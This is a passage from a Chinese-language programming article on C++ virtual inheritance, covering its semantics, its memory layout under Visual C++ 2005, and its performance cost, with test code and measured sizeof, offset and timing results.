&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fact, form, or name:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 实质上的，实际上的：虽然没有实际的事实、形式或名义，但在实际上或效<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 果上存在或产生的；<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2. Existing in the mind, especially as a product of the imagination. <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Used in literary criticism of text.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 虚的，内心的：在头脑中存在的，尤指意想的产物。用于文学批评中。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 我们采用第一个定义，也就是说被virtual所修饰的事物或现象在本质上是存在的，<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 但是没有直观的形式表现，无法直接描述或定义，需要通过其他的间接方式或手段<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 才能够体现出其实际上的效果。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 那么在C++中就是采用了这个词意，不可以在语言模型中直接调用或体现的，但是确<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 实是存在可以被间接的方式进行调用或体现的。比如：虚函数必须要通过一种间接的<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 运行时（而不是编译时）机制才能够激活（调用）的函数，而虚继承也是必须在运行<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 时才能够进行定位访问的一种体制。存在，但间接。其中关键就在于存在、间接和共<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 享这三种特征。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 对于虚函数而言，这三个特征是很好理解的，间接性表明了他必须在运行时根据实际<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 的对象来完成函数寻址，共享性表象在基类会共享被子类重载后的虚函数，其实指向<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 相同的函数入口。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 对于虚继承而言，这三个特征如何理解呢？存在即表示虚继承体系和虚基类确实存在，<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 间接性表明了在访问虚基类的成员时同样也必须通过某种间接机制来完成（下面模型<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 中会讲到），共享性表象在虚基类会在虚继承体系中被共享，而不会出现多份拷贝。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 那现在可以解释语法小节中留下来的那个问题了，&ldquo;为什么一旦出现了虚基类，就必<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 须在没有一个继承类中都必须包含虚基类的初始化语句&rdquo;。由上面的分析可以知道，<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 虚基类是被共享的，也就是在继承体系中无论被继承多少次，对象内存模型中均只会<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 出现一个虚基类的子对象（这和多继承是完全不同的），这样一来既然是共享的那么<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 每一个子类都不会独占，但是总还是必须要有一个类来完成基类的初始化过程（因为<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 所有的对象都必须被初始化，哪怕是默认的），同时还不能够重复进行初始化，那到<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 底谁应该负责完成初始化呢？C++标准中（也是很自然的）选择在每一次继承子类中<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 都必须书写初始化语句（因为每一次继承子类可能都会用来定义对象），而在最下层<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 继承子类中实际执行初始化过程。所以上面在每一个继承类中都要书写初始化语句，<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 但是在创建对象时，而仅仅会在创建对象用的类构造函数中实际的执行初始化语句，<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 其他的初始化语句都会被压制不调用。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; 3. 模型<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 为了实现上面所说的三种语义含义，在考虑对象的实现模型（也就是内存模型）时就<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 很自然了。在C++中对象实际上就是一个连续的地址空间的语义代表，我们来分析虚<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 继承下的内存模型。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3.1. 存在<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 也就是说在对象内存中必须要包含虚基类的完整子对象，以便能够完成通过地址<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 完成对象的标识。那么至于虚基类的子对象会存放在对象的那个位置（头、中间、<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 尾部）则由各个编译器选择，没有差别。（在VC8中无论虚基类被声明在什么位置，<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 虚基类的子对象都会被放置在对象内存的尾部）<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3.2. 间接<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 间接性表明了在直接虚基承子类中一定包含了某种指针（偏移或表格）来完成通<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 过子类访问虚基类子对象（或成员）的间接手段（因为虚基类子对象是共享的，<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 没有确定关系），至于采用何种手段由编译器选择。（在VC8中在子类中放置了<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 一个虚基类指针vbc，该指针指向虚函数表中的一个slot，该slot中存放则虚基<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 类子对象的偏移量的负值，实际上就是个以补码表示的int类型的值，在计算虚<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 基类子对象首地址时，需要将该偏移量取绝对值相加，这个主要是为了和虚表<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 中只能存放虚函数地址这一要求相区别，因为地址是原码表示的无符号int类型<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 的值）<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3.3. 共享<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 共享表明了在对象的内存空间中仅仅能够包含一份虚基类的子对象，并且通过<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 某种间接的机制来完成共享的引用关系。在介绍完整个内容后会附上测试代码，<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 体现这些内容。<br />
&nbsp;&nbsp;&nbsp; 4. 性能<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 由于有了间接性和共享性两个特征，所以决定了虚继承体系下的对象在访问时必然<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 会在时间和空间上与一般情况有较大不同。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4.1. 时间<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在通过继承类对象访问虚基类对象中的成员（包括数据成员和函数成员）时，都<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 必须通过某种间接引用来完成，这样会增加引用寻址时间（就和虚函数一样），<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 其实就是调整this指针以指向虚基类对象，只不过这个调整是运行时间接完成的。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; （在VC8中通过打开汇编输出，可以查看*.cod文件中的内容，在访问虚基类对象<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 成员时会形成三条mov间接寻址语句，而在访问一般继承类对象时仅仅只有一条mov<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 常量直接寻址语句）<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4.2. 空间<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 由于共享所以不同在对象内存中保存多份虚基类子对象的拷贝，这样较之多继承<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 节省空间。<br />
&nbsp;&nbsp;&nbsp; 5. 应用<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 谈了那么多语言特性和内容，那么在什么情况下需要使用虚继承，而一般应该如何使<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 用呢？<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这个问题其实很难有答案，一般情况下如果你确性出现多继承没有必要，必须要共享<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 基类子对象的时候可以考虑采用虚继承关系（C++标准ios体系就是这样的）。由于每<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 一个继承类都必须包含初始化语句而又仅仅只在最底层子类中调用，这样可能就会使<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 得某些上层子类得到的虚基类子对象的状态不是自己所期望的（因为自己的初始化语<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 句被压制了），所以一般建议不要在虚基类中包含任何数据成员（不要有状态），只<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 可以作为接口类来提供&nbsp;
<p>附录：测试代码<br />
#include &lt;ctime&gt;<br />
#include &lt;iostream&gt;<br />
<br />
/*<br />
&nbsp;* 带有数据成员的基类<br />
&nbsp;*/<br />
struct CBaseClass1<br />
{<br />
&nbsp;&nbsp;&nbsp; CBaseClass1( size_t i ) : m_val( i ) {}<br />
<br />
&nbsp;&nbsp;&nbsp; size_t m_val;<br />
};<br />
/*<br />
&nbsp;* 虚拟继承体系<br />
&nbsp;*/<br />
struct CSubClassV1 : public virtual CBaseClass1<br />
{<br />
&nbsp;&nbsp;&nbsp; CSubClassV1( size_t i ) : CBaseClass1( i ) {}<br />
};<br />
<br />
struct CSubClassV2 : public virtual CBaseClass1<br />
{<br />
&nbsp;&nbsp;&nbsp; CSubClassV2( size_t i ) : CBaseClass1( i ) {}<br />
};<br />
<br />
struct CDiamondClass1 : public CSubClassV1, public CSubClassV2<br />
{<br />
&nbsp;&nbsp;&nbsp; CDiamondClass1( size_t i ) : CBaseClass1( i ), CSubClassV1( i ), CSubClassV2( i ) {}<br />
};<br />
<br />
struct CDiamondSubClass1 : public CDiamondClass1<br />
{<br />
&nbsp;&nbsp;&nbsp; CDiamondSubClass1( size_t i ) : CBaseClass1( i ), CDiamondClass1( i ) {}<br />
};<br />
/*<br />
&nbsp;* 正常继承体系<br />
&nbsp;*/<br />
struct CSubClassN1 : public CBaseClass1<br />
{<br />
&nbsp;&nbsp;&nbsp; CSubClassN1( size_t i ) : CBaseClass1( i ) {}<br />
};<br />
struct CSubClassN2 : public CBaseClass1<br />
{<br />
&nbsp;&nbsp;&nbsp; CSubClassN2( size_t i ) : CBaseClass1( i ) {}<br />
};<br />
struct CMultiClass1 : public CSubClassN1, public CSubClassN2<br />
{<br />
&nbsp;&nbsp;&nbsp; CMultiClass1( size_t i ) : CSubClassN1( i ), CSubClassN2( i ) {}<br />
};<br />
struct CMultiSubClass1 : public CMultiClass1<br />
{<br />
&nbsp;&nbsp;&nbsp; CMultiSubClass1( size_t i ) : CMultiClass1( i ) {}<br />
};<br />
/*<br />
&nbsp;* 不带有数据成员的接口基类<br />
&nbsp;*/<br />
struct CBaseClass2<br />
{<br />
&nbsp;&nbsp;&nbsp; virtual void func() {};<br />
&nbsp;&nbsp;&nbsp; virtual ~CBaseClass2() {}<br />
};<br />
/*<br />
&nbsp;* 虚拟继承体系<br />
&nbsp;*/<br />
// struct CBaseClassX { CBaseClassX() {i1 = i2 = 0xFFFFFFFF;} size_t i1, i2;};<br />
struct CSubClassV3 : public virtual CBaseClass2<br />
{<br />
};<br />
struct CSubClassV4 : public virtual CBaseClass2<br />
{<br />
};<br />
struct CDiamondClass2 : public CSubClassV3, public CSubClassV4<br />
{<br />
};<br />
struct CDiamondSubClass2 : public CDiamondClass2<br />
{<br />
};<br />
<br />
/*<br />
&nbsp;* 正常继承体系<br />
&nbsp;*/<br />
struct CSubClassN3 : public CBaseClass2<br />
{<br />
};<br />
struct CSubClassN4 : public CBaseClass2<br />
{<br />
};<br />
struct CMultiClass2 : public CSubClassN3, public CSubClassN4<br />
{<br />
};<br />
struct CMultiSubClass2 : public CMultiClass2<br />
{<br />
};<br />
<br />
/*<br />
&nbsp;* 内存布局用类声明.<br />
&nbsp;*/<br />
struct CLayoutBase1<br />
{<br />
&nbsp;&nbsp;&nbsp; CLayoutBase1() : m_val1( 0 ), m_val2( 1 ) {}<br />
<br />
&nbsp;&nbsp;&nbsp; size_t m_val1, m_val2;<br />
};<br />
struct CLayoutBase2<br />
{<br />
&nbsp;&nbsp;&nbsp; CLayoutBase2() : m_val1( 3 ) {}<br />
<br />
&nbsp;&nbsp;&nbsp; size_t m_val1;<br />
};<br />
struct CLayoutSubClass1 : public virtual CBaseClass1, public CLayoutBase1, public CLayoutBase2<br />
{<br />
&nbsp;&nbsp;&nbsp; CLayoutSubClass1() : CBaseClass1( 2 ) {}<br />
};<br />
<br />
<br />
#define MAX_TEST_COUNT 1000 * 1000 * 16<br />
#define TIME_ELAPSE() ( std::clock() - start * 1.0 ) / CLOCKS_PER_SEC<br />
<br />
int main( int argc, char *argv[] )<br />
{<br />
&nbsp;&nbsp;&nbsp; /*<br />
&nbsp;&nbsp;&nbsp;&nbsp; * 类体系中的尺寸.<br />
&nbsp;&nbsp;&nbsp;&nbsp; */<br />
&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; &quot;================================ sizeof ================================&quot; &lt;&lt; std::endl;<br />
&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; &quot;&nbsp;&nbsp;&nbsp; ----------------------------------------------------------------&quot; &lt;&lt; std::endl;<br />
&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; &quot;sizeof( CBaseClass1 )&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = &quot; &lt;&lt; sizeof( CBaseClass1 ) &lt;&lt; std::endl;<br />
&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; std::endl;<br />
&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; &quot;sizeof( CSubClassV1 )&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = &quot; &lt;&lt; sizeof( CSubClassV1 ) &lt;&lt; std::endl;<br />
&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; &quot;sizeof( CSubClassV2 )&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = &quot; &lt;&lt; sizeof( CSubClassV2 ) &lt;&lt; std::endl;<br />
&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; &quot;sizeof( CDiamondClass1 )&nbsp;&nbsp;&nbsp; = &quot; &lt;&lt; sizeof( CDiamondClass1 ) &lt;&lt; std::endl;<br />
&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; &quot;sizeof( CDiamondSubClass1 ) = &quot; &lt;&lt; sizeof( CDiamondSubClass1 ) &lt;&lt; std::endl;<br />
&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; std::endl;<br />
&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; &quot;sizeof( CSubClassN1 )&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = &quot; &lt;&lt; sizeof( CSubClassN1 ) &lt;&lt; std::endl;<br />
&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; &quot;sizeof( CSubClassN2 )&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = &quot; &lt;&lt; sizeof( CSubClassN2 ) &lt;&lt; std::endl;<br />
&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; &quot;sizeof( CMultiClass1 )&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = &quot; &lt;&lt; sizeof( CMultiClass1 ) &lt;&lt; std::endl;<br />
&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; &quot;sizeof( CMultiSubClass1 )&nbsp;&nbsp; = &quot; &lt;&lt; sizeof( CMultiSubClass1 ) &lt;&lt; std::endl;<br />
<br />
&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; &quot;&nbsp;&nbsp;&nbsp; ----------------------------------------------------------------&quot; &lt;&lt; std::endl;<br />
&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; &quot;sizeof( CBaseClass2 )&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = &quot; &lt;&lt; sizeof( CBaseClass2 ) &lt;&lt; std::endl;<br />
&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; std::endl;<br />
&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; &quot;sizeof( CSubClassV3 )&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = &quot; &lt;&lt; sizeof( CSubClassV3 ) &lt;&lt; std::endl;<br />
&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; &quot;sizeof( CSubClassV4 )&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = &quot; &lt;&lt; sizeof( CSubClassV4 ) &lt;&lt; std::endl;<br />
&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; &quot;sizeof( CDiamondClass2 )&nbsp;&nbsp;&nbsp; = &quot; &lt;&lt; sizeof( CDiamondClass2 ) &lt;&lt; std::endl;<br />
&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; &quot;sizeof( CDiamondSubClass2 ) = &quot; &lt;&lt; sizeof( CDiamondSubClass2 ) &lt;&lt; std::endl;<br />
&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; std::endl;<br />
&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; &quot;sizeof( CSubClassN3 )&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = &quot; &lt;&lt; sizeof( CSubClassN3 ) &lt;&lt; std::endl;<br />
&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; &quot;sizeof( CSubClassN4 )&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = &quot; &lt;&lt; sizeof( CSubClassN4 ) &lt;&lt; std::endl;<br />
&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; &quot;sizeof( CMultiClass2 )&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = &quot; &lt;&lt; sizeof( CMultiClass2 ) &lt;&lt; std::endl;<br />
&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; &quot;sizeof( CMultiSubClass2 )&nbsp;&nbsp; = &quot; &lt;&lt; sizeof( CMultiSubClass2 ) &lt;&lt; std::endl;<br />
&nbsp;&nbsp;&nbsp; /*<br />
&nbsp;&nbsp;&nbsp;&nbsp; * 对象内存布局<br />
&nbsp;&nbsp;&nbsp;&nbsp; */<br />
&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; &quot;================================ layout ================================&quot; &lt;&lt; std::endl;<br />
&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; &quot;&nbsp;&nbsp;&nbsp; --------------------------------MI------------------------------&quot; &lt;&lt; std::endl;<br />
&nbsp;&nbsp;&nbsp; CLayoutSubClass1 *lsc = new CLayoutSubClass1;<br />
&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; &quot;sizeof( CLayoutSubClass1 )&nbsp;&nbsp; = &quot; &lt;&lt; sizeof( CLayoutSubClass1 ) &lt;&lt; std::endl;<br />
&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; &quot;CLayoutBase1 offset of CLayoutSubClass1 is &quot; &lt;&lt; (char*)(CLayoutBase1 *)lsc - (char*)lsc &lt;&lt; std::endl;<br />
&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; &quot;CBaseClass1&nbsp; offset of CLayoutSubClass1 is &quot; &lt;&lt; (char*)(CBaseClass1&nbsp; *)lsc - (char*)lsc &lt;&lt; std::endl;<br />
&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; &quot;CLayoutBase2 offset of CLayoutSubClass1 is &quot; &lt;&lt; (char*)(CLayoutBase2 *)lsc - (char*)lsc &lt;&lt; std::endl;<br />
<br />
&nbsp;&nbsp;&nbsp; int *ptr = (int*)lsc;<br />
&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; &quot;vbc in CLayoutSubClass1 is &quot; &lt;&lt; *(int*)ptr[3] &lt;&lt; std::endl;<br />
<br />
&nbsp;&nbsp;&nbsp; delete lsc;<br />
<br />
&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; &quot;&nbsp;&nbsp;&nbsp; --------------------------------SI------------------------------&quot; &lt;&lt; std::endl;<br />
&nbsp;&nbsp;&nbsp; CSubClassV1 *scv1 = new CSubClassV1( 1 );<br />
&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; &quot;sizeof( CSubClassV1 )&nbsp;&nbsp; = &quot; &lt;&lt; sizeof( CSubClassV1 ) &lt;&lt; std::endl;<br />
&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; &quot;CBaseClass1 offset of CSubClassV1 is &quot; &lt;&lt; (char*)(CBaseClass1 *)scv1 - (char*)scv1 &lt;&lt; std::endl;<br />
<br />
&nbsp;&nbsp;&nbsp; ptr = (int*)scv1;<br />
&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; &quot;vbc in CSubClassV1 is &quot; &lt;&lt; *(int*)ptr[0] &lt;&lt; std::endl;<br />
<br />
&nbsp;&nbsp;&nbsp; delete scv1;<br />
<br />
&nbsp;&nbsp;&nbsp; /*<br />
&nbsp;&nbsp;&nbsp;&nbsp; * 性能测试<br />
&nbsp;&nbsp;&nbsp;&nbsp; */<br />
&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; &quot;================================ Performance ================================&quot; &lt;&lt; std::endl;<br />
&nbsp;&nbsp;&nbsp; double times[4];<br />
&nbsp;&nbsp;&nbsp; size_t idx = 0;<br />
<br />
&nbsp;&nbsp;&nbsp; CSubClassV1 *ptr1 = new CDiamondClass1( 1 );<br />
&nbsp;&nbsp;&nbsp; std::clock_t start = std::clock();<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for ( size_t i = 0; i &lt; MAX_TEST_COUNT; ++i )<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ptr1-&gt;m_val = i;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; times[idx++] = TIME_ELAPSE();<br />
&nbsp;&nbsp;&nbsp; delete static_cast&lt;CDiamondClass1*&gt;( ptr1 );<br />
<br />
&nbsp;&nbsp;&nbsp; CSubClassN1 *ptr2 = new CMultiClass1( 0 );<br />
&nbsp;&nbsp;&nbsp; start = std::clock();<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for ( size_t i = 0; i &lt; MAX_TEST_COUNT; ++i )<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ptr2-&gt;m_val = i;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; times[idx++] = TIME_ELAPSE();<br />
&nbsp;&nbsp;&nbsp; delete static_cast&lt;CMultiClass1*&gt;( ptr2 );<br />
<br />
&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; &quot;CSubClassV1::ptr1-&gt;m_val &quot; &lt;&lt; times[0] &lt;&lt; &quot; s&quot; &lt;&lt; std::endl;<br />
&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; &quot;CSubClassN1::ptr2-&gt;m_val &quot; &lt;&lt; times[1] &lt;&lt; &quot; s&quot; &lt;&lt; std::endl;<br />
<br />
&nbsp;&nbsp;&nbsp; return 0; <br />
}<br />
<br />
测试环境：<br />
&nbsp;&nbsp;&nbsp; 软件环境：Visual Studio2005 Pro + SP1, boost1.34.0<br />
&nbsp;&nbsp;&nbsp; 硬件环境：PentiumD 3.0GHz, 4G RAM<br />
测试数据：<br />
================================ sizeof ================================<br />
&nbsp;&nbsp;&nbsp; ----------------------------------------------------------------<br />
sizeof( CBaseClass1 )&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 4<br />
<br />
sizeof( CSubClassV1 )&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 8<br />
sizeof( CSubClassV2 )&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 8<br />
sizeof( CDiamondClass1 )&nbsp;&nbsp;&nbsp; = 12<br />
sizeof( CDiamondSubClass1 ) = 12<br />
<br />
sizeof( CSubClassN1 )&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 4<br />
sizeof( CSubClassN2 )&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 4<br />
sizeof( CMultiClass1 )&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 8<br />
sizeof( CMultiSubClass1 )&nbsp;&nbsp; = 8<br />
&nbsp;&nbsp;&nbsp; ----------------------------------------------------------------<br />
sizeof( CBaseClass2 )&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 4<br />
<br />
sizeof( CSubClassV3 )&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 8<br />
sizeof( CSubClassV4 )&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 8<br />
sizeof( CDiamondClass2 )&nbsp;&nbsp;&nbsp; = 12<br />
sizeof( CDiamondSubClass2 ) = 12<br />
<br />
sizeof( CSubClassN3 )&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 4<br />
sizeof( CSubClassN4 )&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 4<br />
sizeof( CMultiClass2 )&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 8<br />
sizeof( CMultiSubClass2 )&nbsp;&nbsp; = 8<br />
================================ layout ================================<br />
&nbsp;&nbsp;&nbsp; --------------------------------MI------------------------------<br />
sizeof( CLayoutSubClass1 )&nbsp;&nbsp; = 20<br />
CLayoutBase1 offset of CLayoutSubClass1 is 0<br />
CBaseClass1&nbsp; offset of CLayoutSubClass1 is 16<br />
CLayoutBase2 offset of CLayoutSubClass1 is 8<br />
vbc in CLayoutSubClass1 is -12<br />
&nbsp;&nbsp;&nbsp; --------------------------------SI------------------------------<br />
sizeof( CSubClassV1 )&nbsp;&nbsp; = 8<br />
CBaseClass1 offset of CSubClassV1 is 4<br />
vbc in CSubClassV1 is 0<br />
================================ Performance ================================<br />
CSubClassV1::ptr1-&gt;m_val 0.062 s<br />
CSubClassN1::ptr2-&gt;m_val 0.016 s<br />
<br />
结果分析：<br />
&nbsp;&nbsp;&nbsp; 1. 由于虚继承引入的间接性指针所以导致了虚继承类的尺寸会增加4个字节；<br />
&nbsp;&nbsp;&nbsp; 2. 由Layout输出可以看出，虚基类子对象被放在了对象的尾部（偏移为16），并且vbc<br />
